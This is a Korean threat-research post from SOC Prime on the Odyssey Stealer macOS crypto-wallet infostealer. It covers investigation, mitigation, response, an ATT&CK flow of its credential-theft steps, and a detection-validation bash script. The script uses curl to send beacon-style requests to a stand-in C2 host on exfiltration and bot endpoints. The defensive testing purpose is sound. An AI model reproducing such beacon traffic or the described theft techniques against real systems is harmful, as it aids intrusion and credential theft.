SOC Prime Bias: 중간

13 2월 2026 16:13

오디세이 스틸러: macOS 암호화폐 탈취 작업의 내부 탐험

Author Photo
Ruslan Mikhalov SOC Prime에서 위협 연구 책임자 linkedin icon 팔로우
오디세이 스틸러: macOS 암호화폐 탈취 작업의 내부 탐험
shield icon

Detection stack

  • AIDR
  • Alert
  • ETL
  • Query

요약

Odyssey Stealer는 암호화폐 지갑과 확장을 대상으로 하는 macOS 정보 탈취 프로그램입니다. 이는 중앙 집중식 C2와 관리 패널에 접근할 수 있는 멀웨어 서비스 플랫폼으로 마케팅됩니다. 전송은 일반적으로 C2가 명령을 폴링하는 지속적인 LaunchDaemon을 설치하는 폐색된 AppleScript에 의존하며, 운영자는 합법적인 Ledger 및 Trezor 앱을 트로이 목마 빌드로 대체하여 자격 증명과 거래 데이터를 캡처할 수 있습니다.

조사

연구원들은 고유한 HTML 메타 태그, 페이지 본문 해시 및 공유된 파비콘 해시를 사용하여 C2의 지문을 발견했습니다. 유럽과 네덜란드를 중심으로 여러 ASN 클러스터에 걸쳐 있는 10개의 물리적 호스트를 매핑했습니다. 페이로드 분해는 다중 AppleScript 드로퍼, LaunchDaemon 지속성 및 Go로 컴파일된 SOCKS5 프록시 바이너리를 드러냈습니다. 드로퍼에 포함된 구성 데이터는 제휴자 식별자와 빌드 ID를 노출시켰습니다.

완화

특히 긴 암호화 문자열, 랜덤 레이블이 부여된 미확인 LaunchDaemon plist 파일, ‘log’ 엔드포인트로의 아웃바운드 POST 요청에 대한 의심스러운 osascript 활동을 감시하세요. LaunchDaemon에서 생성된 바이너리와 의심스러운 SOCKS5 활동에 대한 경고를 설정하세요. Ledger 및 Trezor 애플리케이션에 대한 코드 서명을 확인하고, 알려진 C2 도메인과 IP 주소를 차단하세요. 예상치 못한 비밀번호 프롬프트와 ‘지갑 업데이트’를 고위험으로 간주하도록 사용자 교육을 실시하세요.

대응

탐지 시 시스템을 격리하고, 악성 LaunchDaemon을 종료하고 트로이 목마화된 지갑 애플리케이션을 제거합니다. 조사 목적으로 식별된 C2 도메인 및 IP로의 네트워크 트래픽을 캡처한 다음 노출된 암호화폐 자격 증명을 재설정하고 macOS 암호를 변경하세요. 추가적인 아티팩트를 식별하기 위해 전체 포렌식 검토를 수행하세요.

“graph TB %% Class definitions classDef action fill:#99ccff %% Node definitions action_initial_access_phishing[“<b>Action</b> – <b>T1566 Phishing</b>: 이메일이나 멀버타이징을 통해 전달된 악성 링크<br/><b>Description</b>: 공격자는 사용자를 속여 링크를 클릭하도록 유도하여 초기 접근을 얻습니다.”] class action_initial_access_phishing action action_user_execution_malicious_link[“<b>Action</b> – <b>T1204.001 User Execution: Malicious Link</b>: 피해자가 링크를 클릭하고 AppleScript 드로퍼를 실행합니다<br/><b>Description</b>: 사용자 상호작용 후에 코드가 실행됩니다.”] class action_user_execution_malicious_link action action_execution_obfuscation[“<b>Action</b> – <b>T1027 Obfuscated Files or Information</b>: osascript를 통해 실행된 폐색 AppleScript 페이로드<br/><b>Description</b>: 탐지를 피하기 위해 악성 코드를 숨깁니다.”] class action_execution_obfuscation action action_cred_gui_capture[“<b>Action</b> – <b>T1056.002 Input Capture: GUI</b>: 가짜 macOS 비밀번호 대화상자가 관리자 자격 증명을 캡처합니다<br/><b>Description</b>: UI 위조를 통해 자격 증명을 훔칩니다.”] class action_cred_gui_capture action action_cred_browser_stores[“<b>Action</b> – <b>T1555.003 Credentials from Web Browsers</b>: Chrome, Edge 및 Firefox에서 쿠키, 비밀번호 및 암호화폐 지갑 데이터를 추출합니다<br/><b>Description</b>: 저장된 웹 자격 증명을 수확합니다.”] class action_cred_browser_stores action action_cred_keychain[“<b>Action</b> – <b>T1555.005 Credentials from Password Managers</b>: macOS 키체인에 저장된 비밀번호를 읽습니다<br/><b>Description</b>: 비밀번호 관리자 데이터를 엑세스합니다.”] class action_cred_keychain action action_cred_securityd[“<b>Action</b> – <b>T1555.002 Credentials from Securityd Memory</b>: 자격 증명을 위해 securityd 프로세스의 메모리를 수확합니다<br/><b>Description</b>: 프로세스 메모리에서 자격 증명 자료를 검색합니다.”] class action_cred_securityd action action_priv_esc_valid_accounts[“<b>Action</b> – <b>T1078 Valid Accounts</b>: 캡처된 관리자 비밀번호를 사용하여 권한을 상승시킵니다<br/><b>Description</b>: 적법한 자격 증명으로 높은 권한을 얻습니다.”] class action_priv_esc_valid_accounts action action_persistence_launchdaemon[“<b>Action</b> – <b>T1543.004 Launch Daemon</b>: 주기적인 C2 폴링을 위한 com.random.plist LaunchDaemon을 설치합니다<br/><b>Description</b>: Launch Daemon을 생성하여 지속성을 유지합니다.”] class action_persistence_launchdaemon action action_discovery_browser[“<b>Action</b> – <b>T1217 Browser Information Discovery</b>: 설치된 브라우저와 지갑 확장을 열거합니다<br/><b>Description</b>: 피해자의 브라우징 환경에 대한 정보를 수집합니다.”] class action_discovery_browser action action_collection_archive[“<b>Action</b> – <b>T1560 Archive Collected Data</b>: 도난된 파일을 ZIP 아카이브로 압축합니다<br/><b>Description</b>: 데이터 유출을 위해 데이터를 패키징합니다.”] class action_collection_archive action action_exfil_automated[“<b>Action</b> – <b>T1020 Automated Exfiltration</b>: ZIP 아카이브를 /log 엔드포인트에 POST합니다<br/><b>Description</b>: 수집된 데이터를 HTTP로 전송합니다.”] class action_exfil_automated action action_c2_webservice[“<b>Action</b> – <b>T1102 Web Service</b>: HTTP GET 및 POST 엔드포인트를 사용하여 C2와 통신합니다<br/><b>Description</b>: 웹 서비스를 커맨드 제어에 이용합니다.”] class action_c2_webservice action action_c2_dead_drop[“<b>Action</b> – <b>T1102.001 Dead Drop Resolver</b>: /d/… URL에서 페이로드를 검색합니다<br/><b>Description</b>: 명령을 얻기 위해 dead drop 위치를 사용합니다.”] class action_c2_dead_drop action action_c2_external_proxy[“<b>Action</b> – <b>T1090.002 External Proxy</b>: Go로 컴파일된 SOCKS5 프록시를 다운로드하고 실행하여 트래픽 터널링을 수행합니다<br/><b>Description</b>: 외부 프록시를 통해 C2 트래픽을 라우팅합니다.”] class action_c2_external_proxy action %% Connections action_initial_access_phishing u002du002d>|leads_to| action_user_execution_malicious_link action_user_execution_malicious_link u002du002d>|triggers| action_execution_obfuscation action_execution_obfuscation u002du002d>|enables| action_cred_gui_capture action_cred_gui_capture u002du002d>|provides| action_cred_browser_stores action_cred_browser_stores u002du002d>|adds| action_cred_keychain action_cred_keychain u002du002d>|adds| action_cred_securityd action_cred_securityd u002du002d>|gives| action_priv_esc_valid_accounts action_priv_esc_valid_accounts u002du002d>|allows| action_persistence_launchdaemon action_persistence_launchdaemon u002du002d>|enables| action_discovery_browser action_discovery_browser u002du002d>|feeds| action_collection_archive action_collection_archive u002du002d>|prepares| action_exfil_automated action_exfil_automated u002du002d>|uses| action_c2_webservice action_c2_webservice u002du002d>|utilizes| action_c2_dead_drop action_c2_dead_drop u002du002d>|supports| action_c2_external_proxy “

공격 흐름

시뮬레이션 실행

전제 조건: 원격 측정 및 기준선 사전 점검은 통과해야 합니다.

  • 공격 서사 & 명령:
    공격자는 macOS 워크스테이션에 Odyssey Stealer를 배포했습니다. 사용자가 손상된 후 멀웨어는 C2 서버에 비콘을 발송하여 추가 페이로드를 다운로드하고 수집된 데이터를 유출합니다. 비콘은 네이티브 curl 바이너리(사인된 Apple 바이너리)를 사용하여 규칙에 정의된 C2 엔드포인트에 HTTP GET 요청을 발행합니다. 공격자는 이러한 특정 URI 경로를 선택합니다. 왜냐하면 그것들이 짧고 일반적인 웹 트래픽과 잘 어우러지며, 일반적인 URL 필터링 솔루션에 의해 탐지되지 않기 때문입니다.

    단계:

    1. C2 호스트명을 해결합니다(시뮬레이션한 c2.odyssey.example.com).
    2. GET 요청을 실행합니다 /d/aff123456 – 임의의 제휴 코드와 숫자 토큰을 사용하여 데이터 유출 엔드포인트를 모방합니다.
    3. GET 요청을 실행합니다 /api/v1/bot/ – 봇 관리 하트비트를 모의합니다.
    4. 선택적으로, 요청을 발송합니다 /log 멀웨어가 상태 보고를 위해 사용하는 내부 로깅 트래픽을 모방하기 위해.
  • 회귀 테스트 스크립트: 다음 bash 스크립트는 탐지 규칙을 트리거하는 데 필요한 정확한 트래픽을 재현합니다.

    #!/usr/bin/env bash
    # Odyssey Stealer C2 비콘 시뮬레이션 탐지 유효성 검증
    # 요구사항: curl, 네트워크 프록시가 사전 점검 단계에 따라 구성됨
    
    C2_HOST="c2.odyssey.example.com"
    PROXY_HOST="127.0.0.1:3128"   # Squid 프록시 주소에 맞춤 조정
    
    # 프록시를 통해 요청을 발송하는 함수
    send_request() {
        local path=$1
        echo "[*] 프록시 ${PROXY_HOST}를 통해 https://${C2_HOST}${path}로 요청을 발송합니다"
        curl -x "$PROXY_HOST" -s -o /dev/null "https://${C2_HOST}${path}"
    }
    
    # 1. 데이터 유출 엔드포인트 (임의의 제휴 + 숫자)
    AFFILIATE="aff$(shuf -i 1000-9999 -n 1)"
    DIGITS=$(shuf -i 10000-99999 -n 1)
    send_request "/d/${AFFILIATE}${DIGITS}"
    
    # 2. 봇 관리 하트비트
    send_request "/api/v1/bot/"
    
    # 3. 선택적 로깅 엔드포인트
    send_request "/log"
    
    echo "[+] 시뮬레이션 완료. SIEM에서 경고를 확인하세요."

    스크립트를 저장합니다 odyssey_beacon.sh실행 권한을 부여하고 (chmod +x odyssey_beacon.sh), macOS 테스트 호스트에서 실행합니다.

  • 정리 명령: 임시 파일을 제거하고 선택적으로 테스트 사용자의 프록시를 비활성화하십시오.

    # Wi‑Fi 인터페이스의 프록시 설정 비활성화
    networksetup -setwebproxystate "Wi-Fi" off
    networksetup -setsecurewebproxystate "Wi-Fi" off
    
    # (선택 사항) 이 테스트를 위해 Squid가 단독으로 시작되었을 경우 중지
    # brew services stop squid
    echo "프록시 설정 복원 및 Squid 중지(해당 경우에 한함)."